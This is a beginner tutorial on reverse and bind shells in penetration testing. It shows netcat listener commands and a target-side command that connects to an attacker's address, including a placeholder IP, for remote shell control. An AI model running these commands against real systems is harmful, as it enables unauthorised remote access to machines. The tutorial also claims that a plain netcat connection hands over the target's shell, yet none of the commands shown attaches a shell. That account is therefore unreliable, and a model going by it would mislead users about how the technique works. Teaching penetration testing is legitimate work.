Reverse shells and bind shells
Reverse shells and bind shells are types of network connections used in hacking and penetration testing.
A reverse shell is when the attacker makes a target computer connect back their own computer, where they can then control the target's shell. To do this, the attacker uses special tools to set up a "listener" on the attacking computer, which waits for the target to connect.
In contrast, a bind shell is when a attacker makes the target computer run a "listener" directly, that allows the attacker to connect and control it.
A reverse or bind shell is usually established after a target computer has been exploited. In this article we will not be discussing how to exploit a target, but we will be covering how to establish a reverse or bind shell using a tool called netcat.
Netcat is a command-line tool used for network communication. It can be used to receive reverse shells and connect to remote ports attached to bind shells on a target system.
One of netcat's main advantages is its wide availability. Netcat it is preinstalled on many Linux distributions, and it can be also installed on Windows.
When establishing a reverse shell, we need to start a listener on the attacking computer, and then connect to it from the target computer.
We can set up the listener on the attacking computer with
nc -lvnp <PORT>, e.g.
nc -lvnp 4444.
-lvnp 4444 options are:
l= listen mode
v= verbose mode
n= numeric only (IP address), don't use DNS
p 4444= listen on port
Now, we need connect to the listener from the target computer. To do this, we use
nc <ATTACKER-IP> <PORT>, e.g.
nc 10.10.20.20 4444 if the attacker's IP is
10.10.20.20 and the attacker is listening on port
Once the connection is established, we will be able to send shell commands to the target's shell from the attacker's computer! 🎉
When establishing a bind shell, we need to start a listener on the target computer, and then connect to it from the attacking computer.
Set up the the listener on the target computer with
nc -lvnp <PORT>, and then connect to the listener from the attacking computer with
nc <TARGET-IP> <PORT>.
When setting up reverse and binding shells, keep in mind:
- The port on the listener can be blocked by firewalls, so be sure to find a port that is open.
- Administrative permissions (i.e.
sudo) are needed when listening on a port below
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